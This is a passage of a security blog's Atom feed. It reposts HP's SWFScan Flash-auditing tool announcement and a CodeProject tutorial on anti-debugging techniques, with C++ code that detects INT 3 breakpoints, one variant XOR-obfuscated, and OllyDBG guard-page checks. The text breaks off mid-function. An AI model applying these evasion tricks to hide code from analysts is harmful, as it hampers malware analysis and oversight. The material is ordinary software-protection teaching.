<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-2513875003853039748</id><updated>2011-11-27T15:17:17.020-08:00</updated><category term='Python'/><category term='i-doser'/><category term='OnLine Navigation'/><category term='CentOS 5'/><category term='Shell Script'/><category term='JAVA'/><category term='Tistory'/><category term='C'/><category term='Programing'/><category term='Perl'/><category term='Windows'/><category term='Hacking Code'/><category term='Petition'/><category term='AdSense'/><category term='0-Day'/><category term='Security Doc'/><category term='Security Patch'/><category term='Linux'/><category term='Eclipse'/><category term='Book Study'/><category term='Hacking Tool'/><category term='ETC'/><category term='News'/><category term='Surprise'/><category term='Free WAF'/><title type='text'>Web Application Firewall</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>63</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-6382391312211528862</id><published>2009-04-09T02:35:00.000-07:00</published><updated>2009-04-09T02:47:47.460-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking Tool'/><title type='text'>HP SWFScan</title><content type='html'>&lt;p&gt;&lt;img src="http://blogfiles14.naver.net/data41/2009/3/30/189/swfscan_ariesike.png" style="cursor: pointer;" onclick="popview(this)" width="740" height="668" /&gt;&lt;/p&gt; &lt;p&gt; After months of hard work and late caffeine-fueled nights, HP's Web Security Research Group is proud to release HP SWFScan.&lt;br /&gt;&lt;/p&gt;&lt;span style="font-size:85%;"&gt;&lt;a style="font-family: arial;" href="http://www.metasecurity.org/securityplus/2009/SwfScan.zip"&gt;&lt;br /&gt;HP SWFScan is a free security tool to developers find and fix security vulnerabilities in applications developed with the Adobe Flash Platform. The tool is the first of its kind to decompile applications developed with the Flash platform and perform static analysis to understand their behaviors. This helps developers without security backgrounds identify vulnerabilities hidden within the application which cannot be detected with dynamic analysis methods.&lt;br /&gt;&lt;br /&gt;Simply, point HP SWFScan at the SWF file for any Flash application and it will:&lt;br /&gt;&lt;br /&gt;  * Decompile the ActionScript 2 or ActionScript 3 bytecode back to the original source code.&lt;br /&gt;  * Audit the code for over 60 vulnerabilities including exposure of confidential data, Cross-Site Scripting (XSS) and cross-domain privilege escalation.&lt;br /&gt;  * Validate the Flash application adherence with Adobe's security best practices.&lt;br /&gt;&lt;br /&gt;HP SWFScan is not the first free Flash tool. Excellent decompilers such as Flare or OWASP's SWFIntruder security tool have existed for a few years now. Unfortunately, the capabilities of free tools have not kept up with new Flash innovations such as the introduction of Flash 9 and 10, ActionScript 3, and Adobe's Flex framework. HP's SWFScan is the first and only free tool to decompile both ActionScript 2 and ActionScript 3 and analyze them for security vulnerabilities.&lt;br /&gt;&lt;br /&gt;In addition, HP SWFScan offers several other features to help developers, code auditor/reviewers, and pen-testers examine the contents of Flash applications, including:&lt;br /&gt;&lt;br /&gt;  * Highlighting the line of source code that contains the vulnerability to help better understand the context of the issue.&lt;br /&gt;  * Providing summaries, details, and remediation advice for each vulnerability in accordance with Adobe's recommendation for secure Flash development.&lt;br /&gt;  * Generating a vulnerability report to share and solve the detected issues.&lt;br /&gt;  * Exporting the decompiled source code for use with other external tools.&lt;br /&gt;  * Revealing all the URLs and web services the Flash Application contacts.&lt;br /&gt;  * Flagging class names, function names, or variable names that may be of interest such as loadedUserXml or crypt()&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Download SWFScan:&lt;/a&gt; &lt;a style="color: rgb(255, 0, 0);" href="http://www.metasecurity.org/securityplus/2009/SwfScan.zip"&gt;http://www.metasecurity.org/securityplus/2009/SwfScan.zip&lt;/a&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;Release notes: &lt;/span&gt;&lt;a style="font-family: arial;" target="_blank" class="con_link" href="http://www.communities.hp.com/securitysoftware/blogs/spilabs/archive/2009/03/20/exposing-flash-application-vulnerabilities-with-swfscan.aspx"&gt;&lt;span style="color: rgb(0, 158, 37);"&gt;http://www.communities.hp.com/securitysoftware/blogs/spilabs/archive/2009/03/20/exposing-flash-application-vulnerabilities-with-swfscan.aspx&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;FAQ: &lt;/span&gt;&lt;a style="font-family: arial;" target="_blank" class="con_link" href="http://www.communities.hp.com/securitysoftware/blogs/spilabs/archive/2009/03/20/hp-swfscan-faq.aspx"&gt;&lt;span style="color: rgb(0, 158, 37);"&gt;http://www.communities.hp.com/securitysoftware/blogs/spilabs/archive/2009/03/20/hp-swfscan-faq.aspx&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;Enjoy!&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;Billy Hoffman&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;--&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;Manager, HP Web Security Research Group&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;HP Software - Application Security Center&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;Direct: 770-343-7069&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-6382391312211528862?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/6382391312211528862/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/04/hp-swfscan.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/6382391312211528862'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/6382391312211528862'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/04/hp-swfscan.html' title='HP SWFScan'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-5555748029170316902</id><published>2009-04-09T02:32:00.000-07:00</published><updated>2009-04-09T02:33:03.003-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ETC'/><title type='text'>Anti Debug</title><content type='html'>&lt;h2 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;Table of Contents&lt;/span&gt;&lt;/h2&gt; &lt;ol style="font-family: arial;"&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#Bps1"&gt;Breakpoints&lt;/a&gt;&lt;/span&gt;  &lt;ul&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#BpInt3"&gt;Int 3&lt;/a&gt;&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#BpMem"&gt;Memory&lt;/a&gt;&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#BpHardware"&gt;Hardware&lt;/a&gt;&lt;/span&gt; &lt;/li&gt;&lt;/ul&gt; &lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#TimingA"&gt;Timing Attacks&lt;/a&gt;&lt;/span&gt;  &lt;ul&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#TimingArdtsc"&gt;RDTSC&lt;/a&gt;&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#TimingAWin32"&gt;Win32 Timing APIs&lt;/a&gt;&lt;/span&gt; &lt;/li&gt;&lt;/ul&gt; &lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#WindowsInternals"&gt;Windows Internals&lt;/a&gt;&lt;/span&gt;  &lt;ul&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#ProcessDebugFlags"&gt;ProcessDebugFlags&lt;/a&gt;&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#DebugObjectHandle"&gt;Debug Object Handle&lt;/a&gt;&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#ThreadHiding"&gt;Thread Hiding&lt;/a&gt;&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#BlockInput"&gt;BlockInput&lt;/a&gt;&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#OutputDebugString"&gt;OutputDebugString&lt;/a&gt;&lt;/span&gt; &lt;/li&gt;&lt;/ul&gt; &lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#ProcessExploitation"&gt;Process Exploitation&lt;/a&gt;&lt;/span&gt;  &lt;ul&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#OpenProcess"&gt;Open Process&lt;/a&gt;&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#ParentProcess"&gt;Parent Processes&lt;/a&gt;&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#SelfDebugging"&gt;Self-Debugging&lt;/a&gt;&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#UnhandledExceptionFilter"&gt;UnhandledExceptionFilter&lt;/a&gt;&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#NtQueryObject"&gt;NtQueryObject&lt;/a&gt;&lt;/span&gt; &lt;/li&gt;&lt;/ul&gt; &lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#AntiDumping"&gt;Anti-Dumping&lt;/a&gt;&lt;/span&gt;  &lt;ul&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#Nanomites"&gt;Nanomites&lt;/a&gt;&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#StolenBytes"&gt;Stolen Code (Stolen Bytes)&lt;/a&gt;&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#SizeOfImage"&gt;SizeOfImage&lt;/a&gt;&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#VirtualMachines"&gt;Virtual Machines&lt;/a&gt;&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#GuardPages"&gt;Guard Pages&lt;/a&gt;&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#RemovePEHeader"&gt;Removing the PE Header&lt;/a&gt;&lt;/span&gt; &lt;/li&gt;&lt;/ul&gt; &lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#IA32Instructions"&gt;IA-32 Instruction Exploits&lt;/a&gt;&lt;/span&gt;  &lt;ul&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#INT2D"&gt;Interrupt 2D&lt;/a&gt;&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#StackSeg"&gt;Stack Segment&lt;/a&gt;&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#InstructionPrefixes"&gt;Instruction Prefixes&lt;/a&gt;&lt;/span&gt; &lt;/li&gt;&lt;/ul&gt; &lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#OllyDBGSpecfic"&gt;OllyDBG Specific&lt;/a&gt;&lt;/span&gt;  &lt;ul&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#OllyFindWindow"&gt;FindWindow&lt;/a&gt;&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#OutputDebugStringExploit"&gt;OutputDebugString Exploit&lt;/a&gt;&lt;/span&gt; &lt;/li&gt;&lt;/ul&gt; &lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#WinDBGSpecific"&gt;WinDBG Specific&lt;/a&gt;&lt;/span&gt;  &lt;ul&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#WinDbgFW"&gt;FindWindow&lt;/a&gt;&lt;/span&gt; &lt;/li&gt;&lt;/ul&gt; &lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#OtherTechniques"&gt;Other Techniques&lt;/a&gt;&lt;/span&gt;  &lt;ul&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#JunkCode"&gt;Junk Code&lt;/a&gt;&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#NativeCodePermutation"&gt;Native Code Permutations&lt;/a&gt;&lt;/span&gt; &lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ol&gt; &lt;h2 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;Introduction&lt;/span&gt;&lt;/h2&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;In my previous article, I gave a short introduction into some Anti-Debugging/Debugger Detection techniques that primarily involved the use of Win32 API functions. In this article, I plan to travel a bit deeper into the interesting world of reverse engineering and explore some more intermediate level techniques for annoying reverse engineers. Some comments in my previous article noted that the techniques I presented could, and are most of the time, easily bypassed by intermediate level reversers; one statement I would like to make is that there is an ongoing battle between the coders who develop programs that protect against cracking and reverse engineering and the engineers themselves. Every time the protectors release a new technique, the engineers find a way around that specific method. This is the driving force behind the cracking "scene" and anti-reverse engineering fields. Most of the techniques here can easily be bypassed, and some of the others aren't as easily taken out of the picture; however, all of them can in one way, shape, or form be bypassed. I'm presenting these methods here to share the knowledge, and perhaps inspire others to find ways to apply these methods and utilize them in new and creative ways that challenge contemporary methodology.&lt;/span&gt;&lt;/p&gt; &lt;h2 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;Background&lt;/span&gt;&lt;/h2&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;Anyone who is interested in the field of reverse engineering needs a strong understanding of Assembly language, so if your ASM is a little rusty or if you're just beginning to learn, here are some sites that can assist:&lt;/span&gt;&lt;/p&gt; &lt;ul style="font-family: arial;"&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://www.swansontec.com/sprogram.htm"&gt;Introduction to Assembly Language&lt;/a&gt;&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://siyobik.info/index.php?module=x86"&gt;IA-32 Instruction Reference&lt;/a&gt;&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" href="http://win32assembly.online.fr/tutorials.html"&gt;Iczelion's Win32 Assembly Homepage&lt;/a&gt;&lt;/span&gt; &lt;/li&gt;&lt;/ul&gt; &lt;h2 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;Inline Functions&lt;/span&gt;&lt;/h2&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;I didn't feel this side note required its own section; however, when reading this article or the attached source, one will notice the functions being marked inline. While this can cause bloat inside an executable, it is important in anti-reverse engineering. If there are very detailed function entries and sections, then the job for the reverse engineer just got much easier. Now, he or she knows exactly what is happening when that function is called. When in-lining, this doesn't happen, and the engineer is left guessing as to what is actually happening.&lt;/span&gt;&lt;/p&gt; &lt;h2 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="Bps1"&gt;&lt;/a&gt;Breakpoints&lt;/span&gt;&lt;/h2&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;There are three types of breakpoints available to a reverse engineer: hardware, memory, and &lt;code lang="asm"&gt;INT 3h&lt;/code&gt; breakpoints. Breakpoints are essential to a reverse engineer, and without them, live analysis of a module does him or her little good. Breakpoints allow for the stopping of execution of a program at any point where one is placed. By utilizing this, reverse engineers can put breakpoints in areas like Windows APIs, and can very easily find where a badboy message (a messagebox saying you entered a bad serial, for example) is coming from. In fact, this is probably the most utilized technique in cracking, the only competition would be a referenced text string search. This is why breakpoint checks are done over important APIs like &lt;code&gt;MessageBox&lt;/code&gt;, &lt;code&gt;VirtualAlloc&lt;/code&gt;, &lt;code&gt;CreateDialog&lt;/code&gt;, and others that play an important role in the protecting user information process. The first example will cover the most common type of breakpoint which utilizes the &lt;code lang="asm"&gt;INT 3h&lt;/code&gt; instruction.&lt;/span&gt;&lt;/p&gt; &lt;h3 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="BpInt3"&gt;&lt;/a&gt;INT 3&lt;/span&gt;&lt;/h3&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;code lang="asm"&gt;INT 3h&lt;/code&gt; breakpoints are represented in in the IA-32 instruction set with the opcode CC (0xCC). This is the most common expression of this type of breakpoint; however, it can also be expressed as the byte sequence 0xCD 0x03 which can cause some troubles. Detecting this type of breakpoint is relatively simple, and some source would look like the following sample. However, we should be careful because using this method of scanning can lead to false positives.&lt;/span&gt;&lt;/p&gt; &lt;div class="SmallText" id="premain0" style="width: 100%; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/images/minus.gif" style="cursor: pointer;" onclick="popview(this)" width="9" height="9" /&gt;&lt;span id="precollapse0" style="margin-bottom: 0px; cursor: pointer;" preid="0"&gt; Collapse&lt;/span&gt;&lt;img src="http://www.codeproject.com/images/copy_16.png" style="cursor: pointer; margin-left: 35px;" onclick="popview(this)" width="16" height="16" /&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#" preid="0"&gt; Copy Code&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre id="pre0" style="margin-top: 0px; font-family: arial;" lang="cpp"&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="code-keyword"&gt;bool&lt;/span&gt; CheckForCCBreakpoint(&lt;span class="code-keyword"&gt;void&lt;/span&gt;* pMemory,  size_t SizeToCheck)&lt;br /&gt;{&lt;br /&gt;    &lt;span class="code-keyword"&gt;unsigned&lt;/span&gt; &lt;span class="code-keyword"&gt;char&lt;/span&gt; *pTmp = (&lt;span class="code-keyword"&gt;unsigned&lt;/span&gt; &lt;span class="code-keyword"&gt;char&lt;/span&gt;*)pMemory;&lt;br /&gt;   &lt;span class="code-keyword"&gt;for&lt;/span&gt; (size_t i = &lt;span class="code-digit"&gt;0&lt;/span&gt;; i &lt;span class="code-keyword"&gt;&lt;&lt;/span&gt; SizeToCheck; i++)&lt;br /&gt;    {&lt;br /&gt;        &lt;span class="code-keyword"&gt;if&lt;/span&gt;(pTmp[i] == 0xCC)&lt;br /&gt;            &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;true&lt;/span&gt;;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;false&lt;/span&gt;;&lt;br /&gt;}&lt;/span&gt;&lt;/pre&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;Here's another obfuscated method for checking for &lt;code lang="asm"&gt;INT &lt;span class="code-digit"&gt;3&lt;/span&gt;&lt;/code&gt; breakpoints. It is important to remember that the code shown above would stick out like a sore thumb to even new reversers. By adding another level of indirection, you, the protector, are improving your chances of successfully protecting the application.&lt;/span&gt;&lt;/p&gt; &lt;div class="SmallText" id="premain1" style="width: 100%; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/images/minus.gif" style="cursor: pointer;" onclick="popview(this)" width="9" height="9" /&gt;&lt;span id="precollapse1" style="margin-bottom: 0px; cursor: pointer;" preid="1"&gt; Collapse&lt;/span&gt;&lt;img src="http://www.codeproject.com/images/copy_16.png" style="cursor: pointer; margin-left: 35px;" onclick="popview(this)" width="16" height="16" /&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#" preid="1"&gt; Copy Code&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre id="pre1" style="margin-top: 0px; font-family: arial;" lang="cpp"&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="code-keyword"&gt;bool&lt;/span&gt; CheckForCCBreakpointXor55(&lt;span class="code-keyword"&gt;void&lt;/span&gt;* pMemory,  size_t SizeToCheck)&lt;br /&gt;{&lt;br /&gt;    &lt;span class="code-keyword"&gt;unsigned&lt;/span&gt; &lt;span class="code-keyword"&gt;char&lt;/span&gt; *pTmp = (&lt;span class="code-keyword"&gt;unsigned&lt;/span&gt; &lt;span class="code-keyword"&gt;char&lt;/span&gt;*)pMemory;&lt;br /&gt;   &lt;span class="code-keyword"&gt;unsigned&lt;/span&gt; &lt;span class="code-keyword"&gt;char&lt;/span&gt; tmpchar = &lt;span class="code-digit"&gt;0&lt;/span&gt;;&lt;br /&gt;      &lt;br /&gt;   &lt;span class="code-keyword"&gt;for&lt;/span&gt; (size_t i = &lt;span class="code-digit"&gt;0&lt;/span&gt;; i &lt;span class="code-keyword"&gt;&lt;&lt;/span&gt; SizeToCheck; i++)&lt;br /&gt;    {&lt;br /&gt;       tmpchar = pTmp[i];&lt;br /&gt;       &lt;span class="code-keyword"&gt;if&lt;/span&gt;( 0x99 == (tmpchar ^ 0x55) ) &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; 0xCC xor 0x55 = 0x99&lt;/span&gt;&lt;br /&gt;           &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;true&lt;/span&gt;;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;false&lt;/span&gt;;&lt;br /&gt;}&lt;/span&gt;&lt;/pre&gt; &lt;h3 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="BpMem"&gt;&lt;/a&gt;Memory Breakpoints&lt;/span&gt;&lt;/h3&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;Memory breakpoints are implemented by a debugger using guard pages, and they act like "a one-shot alarm for memory page access" (&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#anGuardpage"&gt;Creating Guard Pages&lt;/a&gt;). In a nutshell, when a page of memory is marked as &lt;code&gt;PAGE_GUARD&lt;/code&gt; and is accessed, a &lt;code&gt;STATUS_GUARD_PAGE_VIOLATION&lt;/code&gt; exception is raised, which can then be handled by the current program. At the moment, there's no accurate way to check for memory breakpoints. However, we can use the techniques a debugger uses to implement memory breakpoints to discover if our program is currently running under a debugger. In essence, what occurs is that we allocate a dynamic buffer and write a &lt;code lang="asm"&gt;&lt;span class="code-keyword"&gt;RET&lt;/span&gt;&lt;/code&gt; to the buffer. We then mark the page as a guard page and push a potential return address onto the stack. Next, we jump to our page, and if we're under a debugger, specifically OllyDBG, then we will hit the &lt;code lang="asm"&gt;&lt;span class="code-keyword"&gt;RET&lt;/span&gt;&lt;/code&gt; instruction and return to the address we pushed onto the stack before we jumped to our page. Otherwise, a &lt;code&gt;STATUS_GUARD_PAGE_VIOLATION&lt;/code&gt; exception will occur, and we know we're not being debugged by OllyDBG. Here is an example in source:&lt;/span&gt;&lt;/p&gt; &lt;div class="SmallText" id="premain2" style="width: 100%; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/images/minus.gif" style="cursor: pointer;" onclick="popview(this)" width="9" height="9" /&gt;&lt;span id="precollapse2" style="margin-bottom: 0px; cursor: pointer;" preid="2"&gt; Collapse&lt;/span&gt;&lt;img src="http://www.codeproject.com/images/copy_16.png" style="cursor: pointer; margin-left: 35px;" onclick="popview(this)" width="16" height="16" /&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#" preid="2"&gt; Copy Code&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre id="pre2" style="margin-top: 0px; font-family: arial;" lang="cpp"&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="code-keyword"&gt;bool&lt;/span&gt; MemoryBreakpointDebuggerCheck()&lt;br /&gt;{&lt;br /&gt;    &lt;span class="code-keyword"&gt;unsigned&lt;/span&gt; &lt;span class="code-keyword"&gt;char&lt;/span&gt; *pMem = 